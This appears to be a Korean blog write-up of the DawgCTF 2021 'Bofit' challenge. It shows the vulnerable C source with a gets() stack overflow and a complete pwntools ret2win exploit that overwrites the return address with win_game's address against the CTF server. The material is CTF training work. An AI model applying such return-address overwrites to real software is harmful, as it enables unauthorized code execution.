DawgCTF 2021의 Bofit 문제다. elf 파일인 bofit과 c언어 소스 코드인 bofit.c가 주어져있다.
bofit 파일을 우분투에서 실행해보면 다음과 같은 문구가 나온다. 문구를 읽어보면 "BOF it!"이 출력될 시 'B'를 입력, "Pull it!"이 출력될 시 'P'를 입력, "Twist it!"이 출력될 시 'T'를 입력, 'Shout it!"이 출력될 시 최소 10글자를 입력하라고 한다.
보호기법을 확인해본 후 소스 코드를 보면서 취약점을 찾아보겠다.
보호기법은 Partial RELRO만 걸려있는 것을 볼 수 있다.
#include <stdio.h>
#include <stdbool.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
void win_game(){
char buf[100];
FILE* fptr = fopen("flag.txt", "r");
fgets(buf, 100, fptr);
printf("%s", buf);
}
int play_game(){
char c;
char input[20];
int choice;
bool correct = true;
int score = 0;
srand(time(0));
while(correct){
choice = rand() % 4;
switch(choice){
case 0:
printf("BOF it!\n");
c = getchar();
if(c != 'B') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;
case 1:
printf("Pull it!\n");
c = getchar();
if(c != 'P') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;
case 2:
printf("Twist it!\n");
c = getchar();
if(c != 'T') correct = false;
while((c = getchar()) != '\n' && c != EOF);
break;
case 3:
printf("Shout it!\n");
gets(input);
if(strlen(input) < 10) correct = false;
break;
}
score++;
}
return score;
}
void welcome(){
char input;
printf("Welcome to BOF it! The game featuring 4 hilarious commands to keep players on their toes\n");
printf("You'll have a second to respond to a series of commands\n");
printf("BOF it: Reply with a capital \'B\'\n");
printf("Pull it: Reply with a capital \'P\'\n");
printf("Twist it: Reply with a capital \'T\'\n");
printf("Shout it: Reply with a string of at least 10 characters\n");
printf("BOF it to start!\n");
input = getchar();
while(input != 'B'){
printf("BOF it to start!\n");
input = getchar();
}
while((input = getchar()) != '\n' && input != EOF);
}
int main(){
int score = 0;
welcome();
score = play_game();
printf("Congrats! Final score: %d\n", score);
return 0;
}
위는 Bofit의 소스코드다. welcome 함수에서 프로그램을 실행했을 때 맨 처음 나오는 문구들이 출력되고, 본 게임은 play_game 함수에서 진행된다. 또한 flag를 출력해주는 것으로 보이는 win_game 함수가 존재하지만 호출되지는 않는다.
play_game 함수의 코드를 본다면 case 3: 에서 input 변수에 bof에 취약한 gets 함수로 입력을 받는 부분이 존재한다. 이 부분에서 bof를 일으켜 ret를 flag를 얻게해주는 win_game 함수의 주소로 변조해준다면 flag를 얻을 수 있을 것 같다.
일단 gdb를 통해 aslr 여부, win_game의 주소, input 변수에서 ret까지의 거리를 확인해보겠다.
차를 구하면 input 변수와 ret의 거리가 56byte인 것을 알 수 있다. 따라서 56byte를 더미 값으로 채워준 후 win_game 함수의 주소를 64bit little endian으로 패킹해 payload를 생성하면 될 것 같다.
from pwn import *
payload = b'A'*56+p64(0x0000000000401256) # payload
r = remote('umbccd.io', 4100) # server
#r = process('./bofit')
r.recvuntil('BOF it to start!\n')
r.sendline('B')
flag = True
while True:
message = r.recvline()
print(message)
if flag == False:
r.sendline('a')
break
if message == b'Shout it!\n':
r.sendline(payload)
flag = False
elif message == b'BOF it!\n':
r.sendline('B')
elif message == b'Pull it!\n':
r.sendline('P')
elif message == b'Twist it!\n':
r.sendline('T')
r.interactive()
일단 gets 함수를 호출하는 부분으로 가려면 출력되는 문구에 따른 답을 적어줘야하기 때문에, 출력된 문구를 인식하고 그에 따른 답을 입력하도록 코드를 작성했다.
gets 함수가 나오는 'Shout it!\n'가 출력된다면 payload를 전송하면 된다. 단 코드를 보면 10글자 이하여야지 while 루프가 끝내고 leave, ret 과정을 거치므로 payload를 전송한 후 의도적으로 이상한 답을 전송해 루프를 끝내도록 코드를 추가했다.
'CTF' 카테고리의 다른 글
wtfCTF 2021 - MoM5m4g1c (0) | 2021.06.05 |
---|---|
[Pwn2WinCTF 2021] Pwn - Baby write-only password manager(not solved) (0) | 2021.05.30 |
[DawgCTF 2021] Misc - Two Truths and a Fib (0) | 2021.05.08 |
[DawgCTF 2021] Misc - DawgCTF Discord (0) | 2021.05.08 |
TamuCTF 2021 후기 (0) | 2021.04.25 |